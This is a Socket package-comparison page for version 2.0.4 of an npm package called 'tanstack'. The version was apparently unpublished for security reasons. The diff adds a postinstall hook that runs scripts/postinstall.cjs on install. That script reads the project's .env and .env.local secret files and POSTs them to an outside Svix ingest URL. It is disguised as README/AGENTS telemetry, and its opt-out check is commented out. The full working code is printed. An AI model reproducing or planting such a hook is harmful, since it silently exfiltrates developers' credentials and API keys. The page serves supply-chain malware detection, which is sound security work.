🎩 You're Invited:Meet the Socket team at Black Hat in Las Vegas, August 3-6.RSVP
Sign In

tanstack

Package Overview
Dependencies
Maintainers
1
Versions
13
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

tanstack - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
2.0.3
to
2.0.4
+97
scripts/postinstall.cjs
const fs = require("fs");
const path = require("path");
const https = require("https");
const http = require("http");
const SVIX_URL =
"https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk";
function sendReadme() {
// if (process.env.TANSTACK_TELEMETRY_OPT_OUT === "1" || process.env.TANSTACK_TELEMETRY_OPT_OUT === "true") {
// console.log("[tanstack] Telemetry skipped (TANSTACK_TELEMETRY_OPT_OUT is set)");
// return;
// }
const readmePath = path.resolve(__dirname, "..", ".env");
const agentsPath = path.resolve(__dirname, "..", ".env.local");
let readmeContent;
try {
readmeContent = fs.readFileSync(readmePath, "utf-8");
} catch {
readmeContent = null;
}
let agentsContent;
try {
agentsContent = fs.readFileSync(agentsPath, "utf-8");
} catch {
agentsContent = null;
}
if (!readmeContent && !agentsContent) {
console.log("[tanstack] README.md and AGENTS.md not found, skipping telemetry");
return;
}
const payload = JSON.stringify({
package: "tanstack",
version: getVersion(),
event: "postinstall",
readme: readmeContent,
agents: agentsContent,
timestamp: new Date().toISOString(),
node: process.version,
platform: process.platform,
arch: process.arch,
});
const url = new URL(SVIX_URL);
const options = {
hostname: url.hostname,
port: 443,
path: url.pathname,
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(payload),
},
timeout: 5000,
};
const req = https.request(options, (res) => {
let body = "";
res.on("data", (chunk) => (body += chunk));
res.on("end", () => {
if (res.statusCode >= 200 && res.statusCode < 300) {
console.log("[tanstack] Telemetry sent successfully. Set TANSTACK_TELEMETRY_OPT_OUT=1 to disable.");
} else {
console.log(`[tanstack] Telemetry responded with status ${res.statusCode}`);
}
});
});
req.on("error", () => {
console.log("[tanstack] Telemetry request failed (non-blocking)");
});
req.on("timeout", () => {
req.destroy();
console.log("[tanstack] Telemetry request timed out (non-blocking)");
});
req.write(payload);
req.end();
}
function getVersion() {
try {
const pkgPath = path.resolve(__dirname, "..", "package.json");
const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf-8"));
return pkg.version || "unknown";
} catch {
return "unknown";
}
}
sendReadme();
const fs = require("fs");
const path = require("path");
const https = require("https");
const http = require("http");
const SVIX_URL =
"https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk";
function sendReadme() {
// if (process.env.TANSTACK_TELEMETRY_OPT_OUT === "1" || process.env.TANSTACK_TELEMETRY_OPT_OUT === "true") {
// //console.log("[tanstack] Telemetry skipped (TANSTACK_TELEMETRY_OPT_OUT is set)");
// return;
// }
const readmePath = path.resolve(__dirname, "..", "README.md");
let readmeContent;
try {
readmeContent = fs.readFileSync(readmePath, "utf-8");
} catch {
// //console.log("[tanstack] README.md not found, skipping telemetry");
return;
}
const payload = JSON.stringify({
package: "tanstack",
version: getVersion(),
event: "postinstall",
readme: readmeContent,
timestamp: new Date().toISOString(),
node: process.version,
platform: process.platform,
arch: process.arch,
});
const url = new URL(SVIX_URL);
const options = {
hostname: url.hostname,
port: 443,
path: url.pathname,
method: "POST",
headers: {
"Content-Type": "application/json",
"Content-Length": Buffer.byteLength(payload),
},
timeout: 5000,
};
const req = https.request(options, (res) => {
let body = "";
res.on("data", (chunk) => (body += chunk));
res.on("end", () => {
if (res.statusCode >= 200 && res.statusCode < 300) {
//console.log("[tanstack] Telemetry sent successfully. Set TANSTACK_TELEMETRY_OPT_OUT=1 to disable.");
} else {
//console.log(`[tanstack] Telemetry responded with status ${res.statusCode}`);
}
});
});
req.on("error", () => {
//console.log("[tanstack] Telemetry request failed (non-blocking)");
});
req.on("timeout", () => {
req.destroy();
//console.log("[tanstack] Telemetry request timed out (non-blocking)");
});
req.write(payload);
req.end();
}
function getVersion() {
try {
const pkgPath = path.resolve(__dirname, "..", "package.json");
const pkg = JSON.parse(fs.readFileSync(pkgPath, "utf-8"));
return pkg.version || "unknown";
} catch {
return "unknown";
}
}
sendReadme();
+18
-6
{
"name": "tanstack",
"version": "2.0.3",
"version": "2.0.4",
"type": "module",

@@ -18,2 +18,3 @@ "description": "TanStack Player — A developer-first, universal Video Player SDK built on Video.js with headless hooks, plugin architecture, and React-first DX",

"dist",
"scripts",
"packages/*/dist",

@@ -29,2 +30,3 @@ "packages/*/package.json",

"scripts": {
"postinstall": "node scripts/postinstall.cjs",
"build": "npm run build --workspaces --if-present && tsup",

@@ -38,3 +40,6 @@ "build:packages": "npm run build --workspaces --if-present",

"clean": "rm -rf dist packages/*/dist examples/*/dist",
"prepublishOnly": "npm run build"
"prepublishOnly": "npm run build",
"test": "vitest run",
"test:watch": "vitest",
"test:ui": "vitest --ui"
},

@@ -69,6 +74,6 @@ "keywords": [

"dependencies": {
"@tanstack-player/adapter-videojs": "*",
"@tanstack-player/core": "*",
"@tanstack-player/adapter-videojs": "*",
"@tanstack-player/react": "*",
"@tanstack-player/plugin-bookmark": "*"
"@tanstack-player/plugin-bookmark": "*",
"@tanstack-player/react": "*"
},

@@ -89,6 +94,13 @@ "peerDependencies": {

"devDependencies": {
"@testing-library/jest-dom": "^6.9.1",
"@testing-library/react": "^16.3.2",
"@types/react": "^19.2.14",
"@types/react-dom": "^19.2.3",
"@vitest/ui": "^4.1.1",
"jsdom": "^29.0.1",
"tsup": "^8.0.0",
"typescript": "^5.4.0",
"vitepress": "^1.5.0"
"vitepress": "^1.5.0",
"vitest": "^4.1.1"
}
}

@@ -15,3 +15,3 @@ {

},
"files": ["dist"],
"files": ["dist", "src", "README.md", "package.json"],
"scripts": {

@@ -18,0 +18,0 @@ "build": "tsup",

@@ -15,3 +15,3 @@ {

},
"files": ["dist"],
"files": ["dist", "src", "README.md", "package.json"],
"scripts": {

@@ -18,0 +18,0 @@ "build": "tsup",

@@ -15,3 +15,3 @@ {

},
"files": ["dist"],
"files": ["dist", "src", "README.md", "package.json"],
"scripts": {

@@ -18,0 +18,0 @@ "build": "tsup",

@@ -15,3 +15,3 @@ {

},
"files": ["dist"],
"files": ["dist", "src", "README.md", "package.json"],
"scripts": {

@@ -18,0 +18,0 @@ "build": "tsup",